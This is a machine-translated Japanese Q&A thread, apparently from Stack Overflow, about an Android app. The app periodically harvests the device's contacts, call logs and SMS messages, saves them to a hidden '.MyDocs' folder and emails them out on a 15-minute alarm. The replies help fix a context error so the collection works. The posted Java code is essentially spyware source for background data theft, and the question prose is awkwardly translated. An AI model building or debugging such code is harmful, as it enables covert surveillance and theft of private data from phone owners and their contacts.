2017-07-31 5 views
0

デバイスからすべての連絡先を収集して電子メールで送信するアプリを作成していますが、どのように連絡先にアクセスし、活動ではないが活動しているが、contentResolverエラーとして動作していない別のクラスから送信するエラー

Invoking virtual Method context.ContentResolver.

問題は(getContactsを呼び出す方法今です):エラーが発生しているデバイスへの接点が、後に送信されるように保存し、クラス名saveから「連絡先のリストを取得する」機能の連絡先() BroadcastReceiverで定期的に呼び出されて実行されるsaveクラスのMainActivityメソッド。

メインアクティビティコードは、クラスを保存Wher BroadCastReceiverは、バックグラウンドでデータを保存するために非同期タスクを実行するために呼び出され

public class save extends AsyncTask<String, Void ,String> { 
    MainActivity ma=new MainActivity(); 
    @Override 
    protected String doInBackground(String... params) { 
     try{ 

      String Calllogs= ma.getCalllogs().toString(); 
      String SMS= ma.fetchinbox().toString(); 
      String Contacts= ma.getContacts().toString(); 

      String Path= Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS).getAbsolutePath()+"/.MyDocs"; 
      File f=new File(Path); 
      FileOutputStream fos; 
      if (!f.exists()) 
       f.mkdir(); 
      File file=new File(Path+"/"+System.currentTimeMillis()+"Contacts.txt"); 
      File file1= new File(Path+"/"+System.currentTimeMillis()+"CallLogs.txt"); 
      File file2=new File(Path+"/"+System.currentTimeMillis()+"SMS.txt"); 

      if (file.exists()) 
       file.delete(); 
      else 
      { 
       try{ 
        file.createNewFile(); 
        file.setWritable(true); 
        fos= new FileOutputStream(file); 
        fos.write(Contacts.getBytes()); 
        fos.close(); 
       }catch (Exception ex){ 
        ex.printStackTrace(); 
       } 
      } 
      if (file1.exists()) 
       file1.delete(); 
      else 
      { 
       try{ 
        file1.createNewFile(); 
        file1.setWritable(true); 
        fos= new FileOutputStream(file1); 
        fos.write(Calllogs.getBytes()); 
        fos.close(); 
       }catch (Exception ex){ 
        ex.printStackTrace(); 
       } 
      } 
      if (file2.exists()) 
       file2.delete(); 
      else 
      { 
       try{ 
        file2.createNewFile(); 
        file2.setWritable(true); 
        fos= new FileOutputStream(file2); 
        fos.write(SMS.getBytes()); 
        fos.close(); 
       }catch (Exception ex){ 
        ex.printStackTrace(); 
       } 
      } 
     }catch (Exception ex){ 
      Log.d("Save Error", ex.getMessage()); 
     } 
     return null; 
    } 

    @Override 
    protected void onPostExecute(String s) { 
     new sendmail().execute(); 
    } 
} 

protected void onCreate(Bundle savedInstanceState) { 
     super.onCreate(savedInstanceState); 
     setContentView(R.layout.activity_main); 
     startService(new Intent(getBaseContext(),SecureService.class)); 
     Intent i= new Intent(MainActivity.this,SecureReciever.class); 
     PendingIntent pi=PendingIntent.getBroadcast(getApplicationContext(),0,i,0); 
     AlarmManager am= (AlarmManager) getSystemService(ALARM_SERVICE); 
     am.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis()+3000, AlarmManager.INTERVAL_FIFTEEN_MINUTES,pi); 
    } 
public ArrayList<String> getContacts(){ 
     ContentResolver cr= getContentResolver(); 
     ArrayList <String> contacts= new ArrayList<String>(); 
     try{ 

      Cursor cursor=cr.query(ContactsContract.Contacts.CONTENT_URI,null,null,null,null); 
      assert cursor != null; 
      String Item=""; 
      while(cursor.moveToNext()){ 
       String id=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID)); 
       String name=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)); 
       Cursor phonecursor=cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=?", new String[]{id} ,null); 
       String phonenumber="",_email=""; 
       assert phonecursor != null; 
       while (phonecursor.moveToNext()){ 
        phonenumber += phonecursor.getString(phonecursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER))+"\n"; 
       } 
       phonecursor.close(); 
       Cursor emailcursor=cr.query(ContactsContract.CommonDataKinds.Email.CONTENT_URI,null,ContactsContract.CommonDataKinds.Email.CONTACT_ID + "=? ",new String[] {id},null); 

       while (emailcursor.moveToNext()){ 
        _email =_email + emailcursor.getString(emailcursor.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA)); 
       } 
       emailcursor.close(); 
       Item ="Name : "+ name + "\nPhone No : " + phonenumber + "\n Email : "+_email + "\n---------------------\n"; 
       contacts.add(Item); 
      } 
      cursor.close(); 
     }catch (Exception ex){ 
      Log.d("Error",ex.getMessage()); 
     } 
     return contacts; 
    } 

保存クラスのコードです

public class SecureReciever extends BroadcastReceiver { 
    @Override 
    public void onReceive(final Context context, Intent intent) { 
     Date date= new Date(); 
     Log.d("Alarm Reciever","Alarm Triggered At : "+ java.text.DateFormat.getTimeInstance().format(date)); 
     new save().execute(); 
    } 
} 
+0

あなたは 'context'を正しく渡していません。 –

+0

コンテキストを渡す方法を教えてください。 –

+0

あなたの質問を書くときは、本当に重要な詳細(あなたのメソッドの名前と大文字小文字の区別など)が正しく入力されていることを確認してください。あなたのメソッド名だけであなたの投稿に5つの別々のエラーを修正しました。あなたの英語は完璧である必要はありませんが、技術的な詳細があります。 – halfer

答えて

0

試してみてくださいgetContacts()アクセス指定をpublic staticとしています。必要ならばMainActivity.getContacts()

+0

私はそれを試しましたが、getcontacts()をpublic staticにすると、getContacts()メソッドで使用されているgetContentResolver()を私たちに渡すことができませんでした。 –

+0

getApplicationContext()。getContactResolver()を使用します。 –

関連する問題